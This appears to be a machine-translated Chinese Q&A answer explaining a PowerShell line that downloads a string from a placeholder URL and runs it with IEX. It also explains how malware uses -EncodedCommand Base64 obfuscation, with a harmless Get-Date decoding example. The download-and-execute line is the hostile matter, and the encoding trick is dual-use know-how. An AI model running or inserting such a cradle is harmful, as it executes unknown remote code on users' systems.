至于脚本:
IEX((New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh'))
从给定的 URL下载一个字符串并尝试将其作为 PowerShell 命令执行,通过(通常要避免的)cmdletIEX
的内置别名。Invoke-Expression
换句话说:它从网站下载未知的 PowerShell 命令并执行它们。
至于命令行:
-e
是PowerShell CLI-EncodedCommand
参数的缩写,它接受作为Base64编码字符串的命令。
此参数的目的是启用复杂命令字符串的稳健传递,而不会遇到引用和转义问题。
然而,恶意软件使用该参数作为一种混淆技术:您无法轻易判断该命令在做什么。
例子:
# -e is short for -EncodedCommand
powershell -e RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA
相当于:
powershell -Command "Get-Date -Format yyyy"
您可以对给定的 Base64 编码参数进行解码,如下所示:
$base64 = 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
# -> 'Get-Date -Format yyyy'
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))
相反,如果您想对字符串进行Base64 编码-EncodedCommand
:
$command = 'Get-Date -Format yyyy'
# -> 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))